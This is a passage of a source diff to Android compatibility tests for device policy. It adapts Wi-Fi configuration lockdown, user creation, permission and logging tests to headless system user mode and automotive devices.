-                return currentUserWifiManager.getConfiguredNetworks();
-            }
-        };
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@
     protected final UserHandle getCurrentUser() {
         return UserHandle.of(ActivityManager.getCurrentUser());
     }
+
+    protected final List<WifiConfiguration> getConfiguredNetworks() {
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        return mCurrentUserWifiManager.getConfiguredNetworks();
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
 import android.os.IBinder;
 import android.os.PersistableBundle;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
@@ -199,6 +200,63 @@
                 .containsExactly(userHandle, userHandle);
     }
 
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        // First check that the current user doesn't need it
+        UserHandle currentUser = getCurrentUser();
+        Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+        assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+                .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+        UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+        PrimaryUserService.assertCrossUserCallArrived();
+    }
+
+    @SuppressWarnings("unused")
+    private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+            ComponentName componentName) {
+
+        // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+        // check
+        int currentUserId = UserHandle.USER_NULL;
+        long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+        int waitingTimeMs = 1_000;
+        int attempt = 0;
+        int myUserId = context.getUserId();
+        do {
+            attempt++;
+            try {
+                Log.d(TAG, "checking if user " + myUserId + " is current user");
+                currentUserId = ActivityManager.getCurrentUser();
+                Log.d(TAG, "currentUserId: " + currentUserId);
+            } catch (SecurityException e) {
+                Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+                        + ", waiting " + waitingTimeMs + "ms until app is authorized");
+                SystemClock.sleep(waitingTimeMs);
+
+            }
+        } while (currentUserId != myUserId && attempt < maxAttempts);
+        Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+        if (currentUserId == UserHandle.USER_NULL) {
+            throw new IllegalStateException("App could was not authorized to check current user");
+        }
+        assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+        // Now that the plumbing is done, go back to work...
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+        boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+        Log.d(TAG, "is it: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+        Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+        dpm.acknowledgeNewUserDisclaimer();
+
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+        isAcked = dpm.isNewUserDisclaimerAcknowledged();
+        Log.d(TAG, "is it now: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+    }
+
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@
     private UserHandle runCrossUserVerification(UserActionCallback callback,
             int createAndManageUserFlags, String methodName,
             Set<String> currentUserPackages) throws Exception {
+        return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+                /* switchUser= */ false, currentUserPackages);
+    }
+    private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+        return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+                methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName, boolean switchUser,
+            Set<String> currentUserPackages) throws Exception {
         Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
                 + ", method=" + methodName);
         String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@
         Log.d(TAG, "creating user with PO " + profileOwner);
 
         UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
-        if (callback != null) {
+        if (switchUser) {
+            switchUserAndWaitForBroadcasts(userHandle);
+        } else if (callback != null) {
             startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
         } else {
             startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@
 
     public static final class PrimaryUserService extends Service {
         private static final Semaphore sSemaphore = new Semaphore(0);
-        private static String sError = null;
+        private static String sError;
 
         private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
             public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@
         }
 
         static void assertCrossUserCallArrived() throws Exception {
+            Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+                    + " seconds for callback");
             assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
                     .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
                     .isTrue();
@@ -504,11 +577,10 @@
     }
 
     public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
         @Override
         public void onEnabled(Context context, Intent intent) {
             Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
-                    + context.getUserId());
+                    + context.getUserId() + " and thread " + Thread.currentThread());
 
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@
             } catch (InvocationTargetException e) {
                 error = e.getCause().toString();
             }
+            if (error != null) {
+                Log.e(TAG, "Error calling method: " + error);
+            }
 
             // Call all affiliated users
             final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+            Log.d(TAG, "target users: " + targetUsers);
             assertWithMessage("target users").that(targetUsers).hasSize(1);
 
             pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
 
 import android.content.Intent;
 import android.net.wifi.WifiConfiguration;
+import android.os.Process;
 import android.provider.Settings;
 import android.util.Log;
 
@@ -54,6 +55,12 @@
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
         mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
                 ORIGINAL_PASSWORD);
+
+        Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+                + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+                + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+        logConfigs("setup()", getConfiguredNetworks());
+
         startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
                 SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
     }
@@ -62,7 +69,7 @@
     protected void tearDown() throws Exception {
         mDevicePolicyManager.setGlobalSetting(getWho(),
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("tearDown()", configs);
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
     }
 
     public void testDeviceOwnerCanUpdateConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@
     }
 
     public void testDeviceOwnerCanRemoveConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
+        logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@
                 // config, and they are auto-removed when the corresponding config is removed.
                 // Recheck every config against the latest list of wifi configurations and skip
                 // those which is already auto-removed.
-                if (mWifiManager.getConfiguredNetworks().stream()
-                        .noneMatch(c -> c.networkId == config.networkId)) continue;
-
-                assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+                Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+                        + " should be removed");
+                if (getConfiguredNetworks().stream()
+                        .noneMatch(c -> c.networkId == config.networkId)) {
+                    Log.d(TAG, "Skipping it");
+                    continue;
+                }
+                Log.d(TAG, "Removing using " + mWifiManager);
+                assertWithMessage("removeNetwork(%s)", config.networkId)
                         .that(mWifiManager.removeNetwork(config.networkId)).isTrue();
                 ++removeCount;
             }
         }
+        logConfigs("After removing " + removeCount, configs);
         assertWithMessage("number of removed configs (the DO created one and the regular one)")
                 .that(removeCount).isEqualTo(2);
     }
 
     public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@
                 .that(updateCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@
     }
 
     public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@
                 .that(removeCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@
             return;
         }
         Log.d(TAG, prefix + ": " + configs.size() + " configs: "
-                + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
index 918094c..5e1f248 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
@@ -20,10 +20,10 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
 import android.view.WindowManager;
 
-import java.lang.Override;
-
 /**
  * A simple activity to install for various users to test LauncherApps.
  */
@@ -46,6 +46,11 @@
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_LAUNCHED_ACTION);
         sendBroadcast(reply);
+
+        final WindowInsetsController insetsController = getWindow().getInsetsController();
+        if (insetsController != null) {
+            insetsController.hide(WindowInsets.Type.navigationBars());
+        }
     }
 
     @Override
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
 
 package com.android.cts.deviceowner.wificonfigcreator;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
 
 import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
 
 /**
  * A simple activity to create and manage wifi configurations.
  */
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
     private static final String TAG = "WifiConfigCreatorActivity";
 
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
         WifiConfigCreator configCreator = new WifiConfigCreator(this);
+        Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+                + configCreator);
         try {
             Intent intent = getIntent();
             String action = intent.getAction();
@@ -49,12 +51,15 @@
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
-                configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "Creating network " + ssid);
+                int netId = configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "new id : " + netId);
             } else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
+                Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
                 configCreator.updateNetwork(netId, ssid, false, securityType, password);
             } else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
                 Log.i(TAG, "Unknown command: " + action);
             }
         } catch (InterruptedException ie) {
+            Thread.currentThread().interrupt();
             Log.e(TAG, "Interrupted while changing wifi settings", ie);
         } finally {
             finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@
     }
 
     public static void checkPermission(String permission, int expected, String packageName) {
-        assertPermission(permission, packageName, getContext().getPackageManager()
-                .checkPermission(permission, packageName), expected);
+        checkPermission(getContext(), permission, expected, packageName);
+    }
+
+    public static void checkPermission(Context context, String permission, int expected,
+            String packageName) {
+        PackageManager pm = context.getPackageManager();
+        Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+                + "): " + "using " + pm + " on user " + context.getUser());
+        assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+                expected);
     }
 
     private static void assertPermission(String permission, String packageName, int actual,
             int expected) {
-        assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
-                .that(actual).isEqualTo(expected);
+        assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+                permission, packageName,
+                expected, permissionToString(expected), actual, permissionToString(actual))
+                        .that(actual).isEqualTo(expected);
     }
 
     /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
      */
     public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
             throws Exception {
-        assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
-                expected);
+        checkPermissionAndAppOps(getContext(), permission, expected, packageName);
     }
 
-    private static int checkPermissionAndAppOps(String permission, String packageName)
-            throws Exception {
-        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
-        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+    /**
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+     */
+    public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+            String packageName) throws Exception {
+        assertPermission(permission, packageName,
+                checkPermissionAndAppOps(context, permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(Context context, String permission,
+            String packageName) throws Exception {
+        Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+                + ", permission=" + permission + ", packageName=" + packageName);
+        PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+        if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
                 == PERMISSION_DENIED) {
             return PERMISSION_DENIED;
         }
 
-        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
         if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
                 AppOpsManager.permissionToOp(permission), packageName,
                 packageInfo.applicationInfo.uid, null, null)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@
         executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
     }
 
+    protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+        String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+        return result != null && !result.isEmpty();
+    }
+
     private void executeDeviceOwnerPackageTestMethod(String className, String testName,
             int userId) throws Exception {
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index c30543b..f19d6bc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
     private static final String FEATURE_CAMERA = "android.hardware.camera";
     private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
     private static final String FEATURE_LEANBACK = "android.software.leanback";
     private static final String FEATURE_NFC = "android.hardware.nfc";
     private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
     private static final String FEATURE_PRINT = "android.software.print";
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -1256,9 +1256,15 @@
         allowTestApiAccess(deviceAdminPkg);
     }
 
-    protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
-        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
-        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+    /**
+     * Grants access to APIs marked as {@code @TestApi}.
+     *
+     * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+     * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+     */
+    protected void allowTestApiAccess(String pgkName) throws Exception {
+        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
     }
 
     protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1337,6 +1343,10 @@
         return hasDeviceFeature(FEATURE_LEANBACK);
     }
 
+    boolean isAutomotive() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
@@ -1362,7 +1372,7 @@
     }
 
     void sleep(int timeMs) throws InterruptedException {
-        CLog.d("Sleeping %d ms");
+        CLog.d("Sleeping %d ms", timeMs);
         Thread.sleep(timeMs);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 075d422..c6f86b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -474,10 +474,12 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         // Will be uninstalled in tearDown().
-        installAppAsUser(VPN_APP_APK, mUserId);
+        installAppAsUser(VPN_APP_APK, userId);
         assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(VPN_APP_PKG)
@@ -555,6 +557,10 @@
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+        if (isHeadlessSystemUserMode()) {
+            installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+        }
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
@@ -606,65 +612,11 @@
 
     @Test
     public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+        // Needed to access dpm.getPolicyExemptApps()
+        allowTestApiAccess(DEVICE_ADMIN_PKG);
         executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
     @Test
     public void testDelegatedCertInstaller() throws Exception {
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -1268,8 +1220,6 @@
 
     }
 
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
-            reason = "Will be migrated to new test infra")
     @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -1333,6 +1283,16 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
+        if (isAutomotive()) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setInt(0x50000)
+                    .setBoolean(false)
+                    .build());
+            return;
+        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1770,7 +1730,12 @@
 
     protected void installAppPermissionAppAsUser()
             throws FileNotFoundException, DeviceNotAvailableException {
-        installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+        installAppPermissionAppAsUser(mUserId);
+    }
+
+    protected final void installAppPermissionAppAsUser(int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(PERMISSIONS_APP_APK, false, userId);
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 17c2d48..b9e21f4 100644
